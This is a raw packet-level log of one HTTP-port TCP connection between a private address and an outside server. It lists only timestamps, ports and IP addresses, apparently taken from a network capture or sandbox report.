Dec 20, 2024 17:43:12.634610891 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.635571003 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.635620117 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.635709047 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.635751009 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.636612892 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.636662006 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.636718035 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.636759043 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.637973070 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.638021946 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.638025045 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.638056993 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.638839006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.638886929 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.639751911 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.639766932 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.639799118 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.639853954 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.639894962 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.640727043 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.640777111 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.640856981 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.640902996 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.641772985 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.641824961 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.642847061 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.642859936 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.642899036 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.642934084 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.642976999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.643909931 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.643959999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.644117117 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.644160986 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.644903898 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.644947052 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.645236969 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.645281076 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.646018982 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.646030903 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.646064997 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.646970034 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.647015095 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.647146940 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.647190094 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.648029089 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.648072004 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.648186922 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.648226976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.649468899 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.649512053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.649534941 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.649574041 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.650146961 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.650157928 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.650192022 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.651129007 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.651194096 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.651557922 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.651619911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.652203083 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.652249098 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.652316093 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.652358055 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.653237104 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.653283119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.654078007 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.654123068 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.654289961 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.654301882 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.654335976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.655308962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.655374050 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.655582905 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.655627012 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.657001972 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.657048941 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.657201052 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.657243967 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.657536030 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.657579899 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.657710075 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.657752037 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.658516884 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.658529043 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.658565998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.659495115 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.659545898 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.659559011 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.659596920 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.660526037 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.660578966 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.660629034 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.660670996 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.661606073 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.661657095 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.661701918 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.661745071 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.662633896 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.662679911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.662873983 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.662918091 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.663758039 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.663805008 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.664324045 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.664408922 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.664695978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.664741039 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.664777040 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.664813042 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.665735006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.665785074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.665875912 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.665923119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.666857958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.666907072 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.667040110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.667084932 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.667823076 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.667875051 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.667943954 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.667987108 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.668889999 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.668945074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.669049978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.669092894 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.669944048 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.669994116 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.670027971 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.670079947 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.670917988 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.670969009 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.671092033 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.671128988 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.672004938 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.672068119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.672100067 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.672159910 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.673047066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.673098087 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.673330069 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.673382044 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.674093962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.674105883 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.674151897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.675096035 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.675143003 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.675318003 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.675358057 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.676117897 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.676162004 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.676589966 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.676630974 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.677186966 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.677242994 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.677927971 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.677969933 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.678342104 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.678380966 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.678406954 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.678447962 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.679269075 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.679371119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.679768085 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.679811001 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.680310011 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.680352926 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.680413961 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.680454969 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.681345940 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.681390047 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.681905031 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.681947947 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.682610989 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.682671070 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.682748079 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.682790041 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.683465004 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.683511019 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.683923960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.684003115 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.684380054 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.684422016 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.822405100 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.822483063 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.822527885 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.822560072 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.822963953 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.822977066 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.823015928 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.823026896 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.824007988 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.824058056 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.824461937 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.824506998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.825006962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.825051069 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.825411081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.825455904 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.826025009 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.826071024 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.826246977 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.826292992 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.827124119 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.827171087 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.827256918 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.827331066 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.828119040 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.828166008 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.829181910 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.829194069 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.829221964 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.829260111 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.829274893 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.829319000 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.830207109 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.830255032 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.830285072 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.830324888 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.831255913 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.831305027 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.831356049 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.831403017 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.832273960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.832317114 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.832451105 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.832495928 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.833354950 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.833405972 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.833569050 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.833611012 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.834368944 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.834413052 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.834562063 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.834604979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.835417986 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.835483074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.835572004 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.835617065 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.836472988 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.836522102 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.837048054 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.837095022 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.837472916 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.837512970 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.837539911 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.837584019 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.838532925 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.838586092 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.838923931 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.838972092 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.839960098 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.839976072 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.840007067 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.840027094 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.840691090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.840735912 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.841063023 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.841110945 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.841716051 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.841758966 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.841779947 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.841818094 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.842742920 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.842788935 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.842905045 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.842947960 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.843846083 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.843898058 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.844289064 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.844333887 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.844799042 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.844842911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.845101118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.845144987 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.845876932 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.845921040 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.846318960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.846364021 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.846882105 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.846925974 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.847191095 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.847234964 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.847963095 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.848009109 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.848273039 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.848323107 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.848979950 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.849036932 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.849315882 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.849359989 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.850022078 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.850068092 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.850449085 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.850495100 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.851035118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.851080894 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.851150036 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.851195097 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.852128983 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.852174997 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.852466106 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.852545023 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.853117943 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.853158951 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.853230000 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.853271961 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.854180098 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.854237080 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.854326010 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.854372025 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.855248928 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.855300903 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.855451107 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.855496883 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.856232882 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.856288910 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.856323004 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.856364012 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.857296944 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.857347012 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.857405901 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.857445002 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.858416080 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.858464956 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.858488083 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.858531952 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.859375000 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.859419107 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.859505892 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.859545946 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.860472918 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.860517025 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.860836983 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.860882998 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.861481905 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.861526012 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.861769915 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.861813068 CET	49730	80	192.168.2.6	194.126.174.112
